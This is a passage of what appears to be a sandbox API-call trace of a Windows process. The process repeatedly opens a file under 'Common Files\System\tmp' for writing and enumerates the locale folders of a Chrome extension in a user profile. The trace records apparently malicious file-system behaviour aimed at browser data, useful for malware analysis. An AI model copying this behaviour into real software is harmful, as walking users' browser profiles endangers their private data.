(lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0136.913] GetFileType (hFile=0x128) returned 0x1 [0136.913] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.957] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.958] GetLastError () returned 0x12 [0136.958] AreFileApisANSI () returned 1 [0136.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0136.958] GetFileType (hFile=0x128) returned 0x1 [0136.958] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865d1c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865d1c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.958] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.958] GetLastError () returned 0x12 [0136.958] AreFileApisANSI () returned 1 [0136.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0136.959] GetFileType (hFile=0x128) returned 0x1 [0136.959] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865f7db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865f7db0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.005] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.005] GetLastError () returned 0x12 [0137.005] AreFileApisANSI () returned 1 [0137.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.005] GetFileType (hFile=0x128) returned 0x1 [0137.005] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.005] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.005] GetLastError () returned 0x12 [0137.005] AreFileApisANSI () returned 1 [0137.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.006] GetFileType (hFile=0x128) returned 0x1 [0137.006] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.051] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.051] GetLastError () returned 0x12 [0137.051] AreFileApisANSI () returned 1 [0137.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.051] GetFileType (hFile=0x128) returned 0x1 [0137.052] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.052] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.052] GetLastError () returned 0x12 [0137.052] AreFileApisANSI () returned 1 [0137.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.053] GetFileType (hFile=0x128) returned 0x1 [0137.053] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.098] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.098] GetLastError () returned 0x12 [0137.098] AreFileApisANSI () returned 1 [0137.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.098] GetFileType (hFile=0x128) returned 0x1 [0137.099] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8666a1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.099] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.099] GetLastError () returned 0x12 [0137.099] AreFileApisANSI () returned 1 [0137.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.099] GetFileType (hFile=0x128) returned 0x1 [0137.100] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.144] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.145] GetLastError () returned 0x12 [0137.145] AreFileApisANSI () returned 1 [0137.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.145] GetFileType (hFile=0x128) returned 0x1 [0137.145] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.145] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.145] GetLastError () returned 0x12 [0137.145] AreFileApisANSI () returned 1 [0137.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.145] GetFileType (hFile=0x128) returned 0x1 [0137.146] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.191] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.191] GetLastError () returned 0x12 [0137.191] AreFileApisANSI () returned 1 [0137.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.192] GetFileType (hFile=0x128) returned 0x1 [0137.192] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.192] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.192] GetLastError () returned 0x12 [0137.192] AreFileApisANSI () returned 1 [0137.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.192] GetFileType (hFile=0x128) returned 0x1 [0137.192] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.238] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.238] GetLastError () returned 0x12 [0137.238] AreFileApisANSI () returned 1 [0137.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.238] GetFileType (hFile=0x128) returned 0x1 [0137.239] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.239] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.239] GetLastError () returned 0x12 [0137.239] AreFileApisANSI () returned 1 [0137.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.239] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.239] GetFileType (hFile=0x128) returned 0x1 [0137.240] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.285] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.285] GetLastError () returned 0x12 [0137.285] AreFileApisANSI () returned 1 [0137.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.285] GetFileType (hFile=0x128) returned 0x1 [0137.286] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.286] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.286] GetLastError () returned 0x12 [0137.286] AreFileApisANSI () returned 1 [0137.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.286] GetFileType (hFile=0x128) returned 0x1 [0137.287] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.332] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.332] GetLastError () returned 0x12 [0137.332] AreFileApisANSI () returned 1 [0137.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.332] GetFileType (hFile=0x128) returned 0x1 [0137.332] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.333] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.333] GetLastError () returned 0x12 [0137.333] AreFileApisANSI () returned 1 [0137.333] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, 